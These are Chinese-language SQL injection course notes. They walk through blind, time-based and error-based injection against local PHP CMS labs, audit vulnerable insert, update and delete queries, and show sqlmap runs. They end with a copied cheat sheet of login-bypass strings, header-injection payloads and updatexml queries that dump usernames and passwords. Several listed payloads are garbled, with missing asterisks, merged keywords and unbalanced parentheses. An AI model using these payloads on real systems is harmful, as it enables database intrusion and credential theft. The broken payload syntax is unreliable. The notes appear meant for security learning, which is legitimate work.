// SQL语句
// --增删改查
// --符合规则即执行
// --执行成功后获取数据并且输出,否则不输出数据-->能不能观察到操作的数据的问题

方便做代码审计使用的
宽字节注入:自动转义单引号

➢ SQL-盲注&布尔&报错&延时
➢ 查询-select-xhcms-布尔盲注
➢ 插入-insert-xhcms-报错盲注
➢ 更新-update-xhcms-报错盲注
➢ 删除-delete-kkcms-延时盲注

知识点:

1、明确查询方式注入Payload
2、明确查询方式注入产生功能
3、明确SQL盲注延时&布尔&报错

详细学习知识点:

1、明确查询方式注入Payload

- 知识点解构:明确查询的方式是前端显示还是非前端显示,非前端显示则采用SQL盲注注入Payload。


SQL联合注入攻击:根据展示出来的内容,对URL传入参数并且获得回显的URL进行回显注入。
回显注入的前提条件就是:前端在你试图操作数据库的时候有对应的信息通过查询数据库回显过来。

SQL盲注攻击:
概念理解:
和回显注入不一样,产生注入时,执行都在数据库,但是数据库无法将对应数据命令的执行状况直接回显到前端,也就是看不到。
看不到执行结果,但又实实在在存在漏洞的,判断此漏洞的过程称之为盲注。

目的:解决 "常规的联合查询注入" 不行的情况

分类:
1.基于布尔盲注--逻辑判断
-- 有数据库输出判断标准

返回truefalse
涉及的SQL函数:
regexp,like,ascii,left,ord,mid

/blog/news.php?id=1 and length(database())=7


2.基于时间盲注--延时判断
-- 都不需要

if + sleep()延时显示,需要通过BP的重发器进行配合(并不关心信息的展示形式)
延时的判断方式:
初始化页面时访问了几秒,在时间盲注时访问的时候又是几秒
也就是说,两个速度有时间差,大概率是时间盲注。
涉及的SQL函数:
if,sleep

/blog/news.php?id=1 and if(1=1,sleep(5),0)


3.基于报错信息--报错回显
-- 有数据库报错处理

容错处理:
$relusert = mysql_query($sql,$conn) or die(mysqli_error());
or die(mysqli_error());是数据库的容错处理,是在前面的语句不成立时执行的。
涉及的SQL函数:
floor,updatexml,extractvalue

/blog/news.php?id=2 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

借助工具执行即可

2、明确查询方式注入产生功能

解构:

知识点:
1. 查询方式的增删改查四种特性决定的,部分是不需要进行数据输出和显示,所以此类注入基本上需要采用盲注才能正常得到结果
2. 查询方式增删改查四种特性决定应用的功能点,(会员注册,删除新闻,修改文章等。)

增删改查:
insert into
delect
update
select

实例:

漏洞存在于后台的话,就很鸡肋了。

某种情况下(动态的前台验证码),只能使用手工注入,其余应当是可以使用工具注入的。

白盒审计

报错注入

注入的前提: 存在mysql_error()容错处理,形成报错注入

分析:updatexml(1,concat(0x7e,(version())),1)

updatexml(xml_target, xpath_string, new_string)
其中,xml_target 是要更新的 XML 文档,xpath_string 则是一个 XPath 表达式,用于指定要更新的节点位置,new_string 则是要替换节点的新值。

在给定的语句中,
1 表示要更新的 XML 文档是一个包含单个根节点的空文档,
concat(0x7e,(version())) 会生成一个字符串,其中 0x7e 表示波浪号(~)的 ASCII 码,此处用于将版本号用波浪号括起来。
version() 是一个 MySQL 内置函数,用于返回当前数据库的版本号。
因此,这条 SQL 语句的作用是将一个空的 XML 文档更新为一个包含当前 MySQL 数据库版本号并用波浪号括起来的 XML 文档。

说的简单点,version函数可以换成其它函数来获取自己想要的信息。

-- 评论区(插入数据)
路径:files/submit.php

$query = "INSERT INTO interaction (
type,
xs,
cid,
name,
mail,
url,
touxiang,
shebei,
ip,
content,
tz,
date
) VALUES (
'$type',
'$xs',
'$cid',
'$name',
'$mail',
'$url',
'$touxiang',
'$shebei',
'$ip',
'$content',
'$tz',
now()
)";

@mysql_query($query) or die('新增错误:'.mysql_error());
# 没有回显信息
# -- 存在容错处理:or die('新增错误:'.mysql_error());
# -- 套用报错语句注入点

该文件的对应访问形式:
# 通过index.php获得下面访问形式(文件的包含执行)
http://127.0.0.1:8099/index.php?r=submit.php ==> 要求有某些参数,考虑其它页面的调用来解决参数问题

路径:files/contacr.php
<form name="form" method="post" action="/?r=submit&type=message">
通过这个去提交到submit

书写办法:
http://127.0.0.1:8099?r=contacr
表单的姓名:' or updatexml(1,concat(0x7e,(version())),0) or '
其余随便写。

执行表单提交后达到这个效果:
# 新增错误:XPATH syntax error: '~5.7.26'

-- update更新数据
问题语句:
$query = "UPDATE download SET hit = hit+1 WHERE id=$id";
尝试注入:
http://127.0.0.1:8099/index.php?r=software&cid=1%20and%20updatexml(1,concat(0x7e,(version())),1)
报错回显:
修改错误:XPATH syntax error: '~5.7.26'

延时注入

-- deleact删除数据
问题所在:
if ($_GET['del'] == 1) {
alert_back('默认会员组不能删除!');
} else {
if (isset($_GET['del'])) {
$sql = 'delete from xtcms_user_group where ug_id = ' . $_GET['del'] . '';
echo $sql;
if (mysql_query($sql)) {
alert_href('删除成功!', 'cms_usergroup.php');
} else {
alert_back('删除失败!');
}
}
}

时间盲注:
尝试进行解决:(无法直接调用对应的文件,想要调用只能间接调用)
http://127.0.0.1:8098/admin/model/usergroup.php?del=2%20or%20if(1=1,sleep(5),0)
间接调用:
http://127.0.0.1:8098/admin/cms_usergroup.php?del=2%20or%20if(1=1,sleep(5),0)
查数据库名,并且使用Ascii码来绕过宽字节过滤
http://127.0.0.1:8098/admin/cms_usergroup.php?del=2%20or%20if(ord(left(database(),1))=107,sleep(5),0) => 猜解第一位
http://127.0.0.1:8098/admin/cms_usergroup.php?del=2%20or%20if(ord(left(database(),2,1))=107,sleep(5),0) => 猜解第二位

布尔注入

当数据库名字长度为5时,数据正常删除;
当数据库名字长度非5时,数据无法删除。
http://127.0.0.1:8098/admin/cms_usergroup.php?del=2 and length(database())=5
=> 正常回显删除

黑盒审计

有验证码时,最好使用手工注入。如果验证码可以复用,那么可以使用sqlmap进行测试

主打工具注入

post.txt放入抓到的数据包:

GET /admin/cms_usergroup.php?del=2* HTTP/1.1
Host: 127.0.0.1:8098
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://127.0.0.1:8098/admin/cms_usergroup.php
Cookie: admin_name=admin; admin_password=e10adc3949ba59abbe56e057f20f883e;
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1

使用sqlmap进行payload

慢速payload:
Parameter: #1* (URI)
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (original value)
Payload: http://127.0.0.1:8098/admin/cms_usergroup.php?del=(SELECT (CASE WHEN (4497=4497) THEN 2 ELSE (SELECT 4650 UNION SELECT 6794) END))

Type: time-based blind
Title: MySQL < 5.0.12 AND time-based blind (BENCHMARK)
Payload: http://127.0.0.1:8098/admin/cms_usergroup.php?del=2 AND 2531=BENCHMARK(5000000,MD5(0x55595846))
---------------------------------


快速payload:http数据包进行注入,错误率高,信息详细。
python sqlmap.py -r post.txt --dbs -v 5
[其中的部分回显]

[20:13:19] [TRAFFIC IN] HTTP response [#635] (200 OK):
Date: Sun, 11 Jun 2023 12:13:19 GMT
Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
X-Powered-By: PHP/5.6.9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=utf-8
URI: http://127.0.0.1:8098/admin/cms_usergroup.php?del=%28SELECT%20%28CASE%20WHEN%20%28ORD%28MID%28%28SELECT%20DISTINCT%28IFNULL%28CAST%28schema_name%20AS%20NCHAR%29%2C0x20%29%29%20FROM%20INFORMATION_SCHEMA.SCHEMATA%20LIMIT%2061%2C1%29%2C7%2C1%29%29%3E1%29%20THEN%202%20ELSE%20%28SELECT%207731%20UNION%20SELECT%207961%29%20END%29%29
[20:13:19] [INFO] retrieved: zzzcms
[20:13:19] [DEBUG] performed 40 queries in 0.73 seconds



-- delect 删除操作:(很危险,别瞎搞,小心进牢了)
黑盒测试当中,主要看前台是否有什么删除操作

老师滴结论:延时操作YYDS!

SQL注入相关的Mysql语法

参考:
like 'ro%' #判断ro或ro...是否成立
regexp '^xiaodi[a-z]' #匹配xiaodi及xiaodi...等
if(条件,5,0) #条件成立 返回5 反之 返回0
sleep(5) #SQL语句延时执行5秒
mid(a,b,c) #从位置b开始,截取a字符串的c位
substr(a,b,c) #从位置b开始,截取字符串a的c长度
left(database(),1),database() #left(a,b)从左侧截取a的前b位
length(database())=8 #判断数据库database()名的长度
ord=ascii ascii(x)=97 #判断x的ascii码是否等于97

SQL查询方式注入
select,insert,update,delete,orderby等

基本知识本地测试
1.模糊查询
查询username前俩字符为vi的username值
select * from member where username like 'vi%';
2.正则表达式查询
以x开头的username值
select * from member where username regexp '^x';
3.延时注入
select * from member where id=1 and sleep(1); // 延迟注入,BP观察数据回显时间(有注入和没注入的时差)
select * from member where id=1 and if(1>2,sleep(1),0);
select * from member where id=1 and if(1<2,sleep(1),0);
4.布尔注入
查数据库名的长度
select * from member where id=1 and length(database())=7;
查数据库名的第一个字符是否为p
select * from member where id=1 and left(database(),1)='p';
查数据库名的前两个(从左边数起)字符是否为pi
select * from member where id=1 and left(database(),2)='pi';
查数据库名的第1个字符是否为p
select * from member where id=1 and substr(database(),1,1)='p';
查数据库名的第2个字符是否为i
select * from member where id=1 and substr(database(),2,1)='i';
查数据库名的第1个字符是否为p,不过是使用了ASCII编码进行识别,绕过宽字节
select * from member where id=1 and ord(left(database(),1))=112;

12种报错注入+万能语句–博客资源

博客文章原始地址点我(拷过来是防止文章没了……)

对应文章内容如下:

1、通过floor报错,注入语句如下:
and select 1 from (select count(),concat(version(),floor(rand(0)2))x from information_schema.tables group by x)a);

2、通过ExtractValue报错,注入语句如下:
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

3、通过UpdateXml报错,注入语句如下:
and 1=(updatexml(1,concat(0x3a,(select user())),1))

4、通过NAME_CONST报错,注入语句如下:
and exists(selectfrom (selectfrom(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)

5、通过join报错,注入语句如下:
select * from(select * from mysql.user ajoin mysql.user b)c;

6、通过exp报错,注入语句如下:
and exp(~(select * from (select user () ) a) );

7、通过GeometryCollection()报错,注入语句如下:
and GeometryCollection(()select *from(select user () )a)b );

8、通过polygon ()报错,注入语句如下:
and polygon (()select * from(select user ())a)b );

9、通过multipoint ()报错,注入语句如下:
and multipoint (()select * from(select user() )a)b );

10、通过multlinestring ()报错,注入语句如下:
and multlinestring (()select * from(selectuser () )a)b );

11、通过multpolygon ()报错,注入语句如下:
and multpolygon (()select * from(selectuser () )a)b );

12、通过linestring ()报错,注入语句如下:
and linestring (()select * from(select user() )a)b );

关于POST注入
常用的万能username语句:
a ' or 1=1 #
a ") or 1=1 #
a‘) or 1=1 #
a" or "1"="1
' or '1'='1
' or (length(database())) = 8 (用于输入' "都没有错误)
' or (ascii(substr((select database()) ,1,1))) = 115 # (用于输入' "都没有错误)
") or ("1")=("1
") or 1=1 or if(1=1, sleep(1), null) #
") or (length(database())) = 8 #
") or (ascii(substr((select database()) ,1,1))) = 115 or if(1=1, sleep(1), null) #

post型盲注通杀payload:
uname=admin%df'or()or%200%23&passwd=&submit=Submit

关于UPDATEXML,REFERER,COOKIE的构造
User-Agent:.........' or updatexml(1,concat(0x7e,database(),0x7e),1),",") #
Referer: ' or updatexml(1,concat(0x7e,database(),0x7e),1),",") #
Cookie:username: admin ' or updatexml(1,concat(0x7e,database(),0x7e),1) #

updatexml报错注入
爆数据库版本信息:?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
链接用户:?id=1 and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)
链接数据库:?id=1 and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)
爆库:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select schema_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆表:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select table_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆字段:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select column_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆字段内容:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)